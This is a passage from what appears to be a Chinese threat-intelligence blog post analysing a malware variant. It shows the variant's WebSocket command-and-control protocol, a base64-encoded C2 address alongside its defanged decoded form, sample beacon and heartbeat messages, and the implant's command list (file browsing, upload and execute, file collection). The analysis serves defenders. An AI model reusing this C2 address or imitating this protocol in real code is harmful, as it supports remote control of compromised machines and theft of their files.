2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: bold;">2. 网络通信</span></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">该变种通信协议改为 WebSocket 协议，但数据包还是使用 JSON 格式，C2 经过 base64 编码：</span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“d3M6Ly9zZWVteXNpdGVsaXZlLnN0b3JlOjgwODAvd3M=”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，解码后得到</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ws://seemysitelive[.]store:8080/ws</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。当连接成功之后客户端响应如下信息，其中包括</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">&#34;Welcome to Stealth Server&#34;</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">{</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;type&#34;: &#34;welcome&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;client_id&#34;: &#34;fd77350b-d70b-4978-bc54-bc5b16843904&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;data&#34;: &#34;Welcome to Stealth Server&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;timestamp&#34;: &#34;2025-08-20T03:04:07.8960862-07:00&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">}</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">然后向 C2 发送如下客户端信息。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">{</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;type&#34;: &#34;client_info&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;client_id&#34;: &#34;7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;data&#34;: {</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">    &#34;current_dir&#34;: &#34;/tmp&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">    &#34;hostname&#34;: &#34;buffalo&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">    &#34;ip_address&#34;: &#34;35.*.*.48&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">    &#34;location&#34;: &#34;Council Bluffs, Iowa, United States&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">    &#34;os&#34;: &#34;linux&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">    &#34;username&#34;: &#34;root&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  },</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;timestamp&#34;: &#34;2025-08-20T10:04:07.538478245Z&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">}</span></span></code></pre><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">随后客户端和服务端每隔 30 秒互相向对方发送心跳信息。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">response：</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">{</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;type&#34;: &#34;heartbeat&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;timestamp&#34;: &#34;2025-08-20T03:04:37.8972773-07:00&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">}</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">sendto：</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">{</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;type&#34;: &#34;heartbeat_response&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;client_id&#34;: &#34;7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;timestamp&#34;: &#34;2025-08-20T10:04:36.244598102Z&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">}</span></span></code></pre><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">支持如下几个指令：</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">browse_files：发送指定路径的文件列表</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">upload_execute：上传指定文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">start_collection：搜索指定后缀的文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">ping</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">welcome</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">heartbeat</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">结论</span></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">该组织攻击活动频繁，呈现工具多、变种多、投递频率高等特点。若您对此话题感兴趣，欢迎通过 X 平台（</span><span leaf=""><a href="https://x.com/Xlab_qax?ref=blog.xlab.qianxin.com" target="_blank">https://x.com/Xlab_qax?ref=blog.xlab.qianxin.com</a></span><span leaf="">） 与我们联系。</span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe 